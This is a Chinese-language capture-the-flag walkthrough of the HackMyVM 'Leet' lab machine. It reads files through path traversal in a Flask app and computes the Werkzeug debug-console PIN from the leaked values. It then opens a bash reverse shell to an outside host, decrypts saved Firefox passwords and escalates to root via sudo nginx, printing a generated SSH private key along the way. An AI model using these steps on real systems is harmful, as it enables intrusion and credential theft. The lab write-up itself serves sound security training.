Leet.

https://hackmyvm.eu/machines/machine.php?vm=Leet

Notes：Enjoy it.

前期踩点

➜Leet nmap -sP 192.168.56.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-20 23:56 EDT
Nmap scan report for 192.168.56.1
Host is up (0.00019s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.000088s latency).
MAC Address: 08:00:27:02:0A:DA (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.46
Host is up (0.00023s latency).
MAC Address: 08:00:27:43:50:51 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.47
Host is up (0.00034s latency).
MAC Address: 08:00:27:B0:63:BE (Oracle VirtualBox virtual NIC)

➜  Leet nmap -sT -min-rate 10000 -p- 192.168.56.47
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-20 23:57 EDT
Nmap scan report for 192.168.56.47
Host is up (0.00049s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
7777/tcp open  cbt
MAC Address: 08:00:27:B0:63:BE (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 8.09 seconds

➜  Leet nmap -sT -A -T4 -O -p 22,7777 192.168.56.47
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-20 23:57 EDT
Nmap scan report for 192.168.56.47
Host is up (0.00024s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 e1:5d:7c:b7:07:92:17:dc:46:76:7d:be:a9:50:43:d2 (ECDSA)
|_  256 a0:f3:b3:86:93:f5:58:82:88:dd:e5:10:db:35:de:62 (ED25519)
7777/tcp open  http    Werkzeug httpd 3.0.1 (Python 3.11.2)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/3.0.1 Python/3.11.2
MAC Address: 08:00:27:B0:63:BE (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.24 ms 192.168.56.47

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.98 seconds

Web 渗透

信息收集

7777 是 web 端口

看样子是一个 Leet 转换器：Leet，又称黑客语，是指一种发源于西方国家的BBS、在线游戏和黑客社群所使用的文字书写方式。通常是把拉丁字母转变成数字或是特殊符号，例如E写成3、A写成@等。

并且提供了下载链接

任意文件读取

感觉会存在任意文件读取

在报错页面能知道是 flask 搭建的

构造恶意连接，成功读取。存在riva用户。

根据错误页面能知道程序位于 /opt/project/app.py ，构造恶意链接进行读取，但是没什么利用点

from flask import Flask, request, send_file, abort, render_template_string
from werkzeug.exceptions import BadRequest
import os

app = Flask(__name__)
app.config['DEBUG'] = True 

@app.route('/', methods=['GET', 'POST'])
def leet_converter():
    if request.method == 'POST':
        text = request.form['text']
        leet_text = text.translate(str.maketrans("aeios", "43105"))
        output_filename = "/tmp/converted_text.txt"
        with open(output_filename, "w") as f:
            f.write(leet_text)
        return render_template_string('''
            <!DOCTYPE html>
            <html>
            <head>
		<title>L33T Convertor</title>
                <style>
                    body { background-color: #333; color: #ddd; font-family: "Courier New", Courier, monospace; margin: 0; padding: 20px; }
                    .container { max-width: 600px; margin: auto; padding: 20px; background-color: #444; border-radius: 8px; }
                    h2 {
		    color: #eee;
    		    text-align: center;
		    }

                    a, a:visited { color: #dcdcdc; text-decoration: underline; }
                    a:hover { color: #ffffff; }
                    form { display: flex; flex-direction: column; }
                    input[type="text"], input[type="submit"] { padding: 10px; margin-top: 10px; border-radius: 4px; border: 1px solid #555; background: #555; color: #ddd; }
                    input[type="submit"] { cursor: pointer; }
                    input[type="submit"]:hover { background: #666; }
                </style>
            </head>
            <body>
                <div class="container">
                    <h2>L33T converter</h2>
                    <form method="post">
                        <input type="text" name="text" placeholder="Type your text here">
                        <input type="submit" value="Convert to L33T">
                    </form>
                    {% if leet_text %}
                        <p>Résultat : {{ leet_text }}</p>
                        <a href="/download?filename=converted_text.txt">Download file text</a>
                    {% endif %}
                </div>
            </body>
            </html>
        ''', leet_text=leet_text)
    else:
        return render_template_string('''
            <!DOCTYPE html>
            <html>
            <head>
                <style>
                    body { background-color: #333; color: #ddd; font-family: "Courier New", Courier, monospace; margin: 0; padding: 20px; }
                    .container { max-width: 600px; margin: auto; padding: 20px; background-color: #444; border-radius: 8px; }
                    h2 { color: #eee; }
                    form { display: flex; flex-direction: column; }
                    input[type="text"], input[type="submit"] { padding: 10px; margin-top: 10px; border-radius: 4px; border: 1px solid #555; background: #555; color: #ddd; }
                    input[type="submit"] { cursor: pointer; }
                    input[type="submit"]:hover { background: #666; }
                </style>
            </head>
            <body>
                <div class="container">
                    <center><h2>L33T Converter</h2></center>
                    <form method="post">
                        <input type="text" name="text" placeholder="Type your text here">
                        <input type="submit" value="Convert to L33T">
                    </form>
                </div>
            </body>
            </html>
        ''')

@app.route('/download')
def download_file():
    filename = request.args.get('filename')

    if not filename or filename.startswith("/"):
        raise ValueError("Parameter 'filename' invalid or missing.")

    filepath = os.path.join("/tmp", filename)

    try:
        return send_file(filepath, as_attachment=True)
    except Exception as e:
        raise e

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')

扫描一下目录，寻找敏感文件，打算利用任意文件读取

➜  Leet dirsearch -u http://192.168.56.47:7777 -x 403,404,429 -e php,zip,txt
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, zip, txt | HTTP method: GET | Threads: 25 | Wordlist size: 10439

Output File: /root/Desktop/test/Leet/reports/http_192.168.56.47_7777/_25-04-21_00-26-36.txt

Target: http://192.168.56.47:7777/

[00:26:36] Starting: 
[00:26:51] 200 -    2KB - /console
[00:26:53] 500 -   14KB - /download

Task Completed

访问 /console ，是Werkzeug，能执行命令，但是被锁住了，要求输入PIN码。

PIN bypass & 利用

在网上寻找 Werkzeug 相关漏洞，能找到：https://github.com/wdahlenburg/werkzeug-debug-console-bypass

Werkzeug Debug Console Pin Bypass 也就是绕过控制 PIN

Werkzeug has a debug console that requires a pin by default. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. The debug console will lock after 10 invalid attempts which requires the server to be restarted for another 10 guesses.

Werkzeug 有一个默认需要 pin 的调试控制台。可以使用 LFI 漏洞绕过此问题，或将其用作本地权限提升向量。调试控制台将在 10 次无效尝试后锁定，这需要重新启动服务器以再进行 10 次猜测。

根据文档，我们要得到：username ，Flask ，获取服务器托管的接口的 Mac 地址，Machine_id

username：www-data或者riva
Flask 的正确路径：在错误中能看到：/opt/project/venv/lib/python3.11/site-packages/flask/app.py

获取服务器托管的接口的 Mac 地址：也就是网卡的物理地址

现在需要获取网卡的MAC地址，因为靶机系统是Debian ，所以配置文件在/etc/network/interfaces ，利用任意文件读取来读取

/download?filename=../etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
allow-hotplug enp0s3
iface enp0s3 inet dhcp

再读取网卡 enp0s3 的 MAC

/download?filename=../sys/class/net/enp0s3/address

08:00:27:b0:63:be

将 MAC 地址从十六进制转换为十进制

Python 3.12.7 (main, Nov  8 2024, 17:55:36) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> "".join("08:00:27:b0:63:be".split(":"))
'080027b063be'
>>> print(0x080027b063be)
8796758893502

Machine_id

/download?filename=../etc/machine-id
f6791f240ce6407ea271e86b78ac3bdb

/download?filename=../proc/sys/kernel/random/boot_id
23657fbb-d0b2-4bfa-9387-3d1cc930d11a

/download?filename=../proc/self/cgroup
0::/system.slice/flaskapp.service

将值存储到各文件中

echo "f6791f240ce6407ea271e86b78ac3bdb" > machine-id                               
echo "23657fbb-d0b2-4bfa-9387-3d1cc930d11a" > boot_id                                   
echo "0::/system.slice/flaskapp.service" > cgroup

machine_id = b""
for filename in "machine-id", "boot_id":
    try:
        with open(filename, "rb") as f:
            value = f.readline().strip()
    except OSError:
        continue

    if value:
        machine_id += value
        break
try:
    with open("cgroup", "rb") as f:
        machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
    pass

print(machine_id)

python getID.py              
b'f6791f240ce6407ea271e86b78ac3bdbflaskapp.service'

现在通过上面github的脚本获得PIN

python werkzeug-pin-bypass.py 
Pin: 416-452-656

检验 PIN ，输入PIN后，成功进入

进行反弹 shell

import os;os.system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.4/1234 0>&1'")

提权 - to riva

micro 提权

查看权限

www-data@leet:/opt/project$ sudo -l
sudo -l
Matching Defaults entries for www-data on leet:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on leet:
    (riva) NOPASSWD: /usr/bin/micro

无需密码以 riva 身份执行micro

micro 是一个基于终端的文本编辑器。

这里使用编辑器要先将反弹 shell 升级

这里推荐：https://www.bilibili.com/video/BV1qp4y1Z7Pv/ | https://www.cnblogs.com/sainet/p/15783539.html

我们直接添加公钥，然后进行登录即可

➜  Leet ssh riva@192.168.56.47
Linux leet.hmv 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
riva@leet:~$ to root

提权 - to root

信息收集

查看 sudo 权限需要密码

➜  Leet ssh riva@192.168.56.47
Linux leet.hmv 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
riva@leet:~$ sudo -l
[sudo] password for riva: 
Sorry, try again.

读取 user.txt

riva@leet:~$ cat user.txt 
3a5cf7b35876169c280229c213ed63c1

查看 SUID 情况

riva@leet:/etc$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/chfn

riva 用户家目录

riva@leet:~$ ls -al
total 40
drwxr-xr-x 6 riva riva 4096 Feb 14  2024 .
drwxr-xr-x 3 root root 4096 Feb 14  2024 ..
lrwxrwxrwx 1 riva riva    9 Feb 11  2024 .bash_history -> /dev/null
-rw-r--r-- 1 riva riva  220 Feb 14  2024 .bash_logout
-rw-r--r-- 1 riva riva 3526 Feb 14  2024 .bashrc
drwxr-xr-x 3 riva riva 4096 Feb 14  2024 .config
drwxr-xr-x 3 riva riva 4096 Feb 14  2024 .local
drwx------ 4 riva riva 4096 Feb 14  2024 .mozilla
-rw-r--r-- 1 riva riva  807 Feb 14  2024 .profile
drwx------ 2 riva riva 4096 Apr 21 14:25 .ssh
-rwx------ 1 riva riva   33 Feb 14  2024 user.txt

firefox

发现 .mozilla 说明存在 firefox

那么我们可以导出 firefox 中的密码（密码本里面保存的）

项目地址：https://github.com/unode/firefox_decrypt

克隆到 Kali 中，然后拉取到靶机上

riva@leet:~$ wget 192.168.56.4:8081/firefox_decrypt.py
--2025-04-21 14:49:19--  http://192.168.56.4:8081/firefox_decrypt.py
Connecting to 192.168.56.4:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 39405 (38K) [text/x-python]
Saving to: ‘firefox_decrypt.py’

firefox_decrypt.py         100%[======================================>]  38.48K  --.-KB/s    in 0s      

2025-04-21 14:49:19 (281 MB/s) - ‘firefox_decrypt.py’ saved [39405/39405]

获取密码

riva@leet:~$ python3 firefox_decrypt.py 
Select the Mozilla profile you wish to decrypt
1 -> zbznfk37.default
2 -> guu30cui.default-esr
2
Website:   chrome://FirefoxAccounts
Username: '1db9561103ca4adc9afa6357c0a0b554'
Password: '{"version":1,"accountData":{"scopedKeys":{"https://identity.mozilla.com/apps/oldsync":{"kid":"1603273389635-IxsZ6HpGK9fL9tUfdcBqwA","k":"Q8lFF-E91kvogabSQ2yjKj7k2JHX30UDeHEriaxaCY5slUVmtQvP-e3is5GxBiUKkG3g4dQLbFRsVOYeMkjNpg","kty":"oct"},"sync:addon_storage":{"kid":"1603273389635-Ng9dJrdpVFqEoBs-R3LaTMKTiSWhWypqfmg9MJDby4U","k":"L8MGJk3tWVlmN9Sm-MmdauxuQ38fIl--NziTjg_AmjO51_-vHo70OELMwif8kqn2zE3Yqg30BLw1ndNplRzGCA","kty":"oct"}},"kSync":"43c94517e13dd64be881a6d2436ca32a3ee4d891d7df450378712b89ac5a098e6c954566b50bcff9ede2b391b106250a906de0e1d40b6c546c54e61e3248cda6","kXCS":"231b19e87a462bd7cbf6d51f75c06ac0","kExtSync":"2fc306264ded59596637d4a6f8c99d6aec6e437f1f225fbe3738938e0fc09a33b9d7ffaf1e8ef43842ccc227fc92a9f6cc4dd8aa0df404bc359dd369951cc608","kExtKbHash":"360f5d26b769545a84a01b3e4772da4cc2938925a15b2a6a7e683d3090dbcb85"}}'

Website:   http://leet.hmv
Username: 'riva'
Password: 'PGH$2r0co3L5QL'

Website:   https://hackmyvm.eu
Username: 'riva'
Password: 'lovelove80'

经过测试 PGH$2r0co3L5QL ，是用户 riva 的密码。用户可以以 root 权限执行 nginx

riva@leet:~$ sudo -l
[sudo] password for riva: 
Matching Defaults entries for riva on leet:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User riva may run the following commands on leet:
    (root) /usr/sbin/nginx

我们可以设置 config 文件

riva@leet:/etc/nginx$ sudo /usr/sbin/nginx -h
nginx version: nginx/1.22.1
Usage: nginx [-?hvVtTq] [-s signal] [-p prefix]
             [-e filename] [-c filename] [-g directives]

Options:
  -?,-h         : this help
  -v            : show version and exit
  -V            : show version and configure options then exit
  -t            : test configuration and exit
  -T            : test configuration, dump it and exit
  -q            : suppress non-error messages during configuration testing
  -s signal     : send signal to a master process: stop, quit, reopen, reload
  -p prefix     : set prefix path (default: /usr/share/nginx/)
  -e filename   : set error log file (default: stderr)
  -c filename   : set configuration file (default: /etc/nginx/nginx.conf)
  -g directives : set global directives out of configuration file

直接用脚本，项目地址：https://github.com/DylanGrl/nginx_sudo_privesc

riva@leet:~$ vi exp.sh
riva@leet:~$ chmod +x exp.sh
riva@leet:~$ ./exp.sh
[+] Creating configuration...
[+] Loading configuration...
[+] Generating SSH Key...
Generating public/private rsa key pair.
Enter file in which to save the key (/home/riva/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/riva/.ssh/id_rsa
Your public key has been saved in /home/riva/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:lZirJxXN1DzNc6FpZA9cwSb16ZcJfoloWJeBvEQN3NU riva@leet.hmv
The key's randomart image is:
+---[RSA 3072]----+
|          ==*B=*+|
|         * **=@oE|
|        + *..Oo=.|
|         +o.= + +|
|        S. o o *.|
|       o  .   . .|
|      o .        |
|       o         |
|                 |
+----[SHA256]-----+
[+] Display SSH Private Key for copy...
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
[+] Add key to root user...
[+] Use the SSH key to get access

riva@leet:~$ ssh root@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:V0kY0pxHYgYYJeQXQGSoUclaPX71KqkFTnqjTNaj/Qk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.
Linux leet.hmv 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 28 17:37:49 2024 from 192.168.0.178
root@leet:~#

root@leet:~# ls
index.html  r007_fl46.7x7  troll.jpg

root@leet:~# cat r007_fl46.7x7 
ca169772acb099a02ebab8da1d9070ea

题外话

troll.jpg：

root 家目录下还存在 index.html

root@leet:~# cat index.html 
<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Image centrée</title>
</head>
<body>
    <div style="text-align: center;">
        <img src="/root/troll.jpg" alt="Troll">
    </div>
</body>
</html>

……

一种方案（雾）就是让服务目录在 /root 中打开（应该很多人都是想这样做）

user root;

events {
    worker_connections 1024;  # 设置每个 worker 的最大连接数
}

http {
    server {
        listen 8088;
        server_name example.com;
        
        # 设置根目录
        root /root;
        index index.html index.htm;

        location / {
            try_files $uri $uri/ =404;
        }
    }
}

然后就是 LOL 突脸，实际上……(我也不知道为什么)

HackMyVM - Leet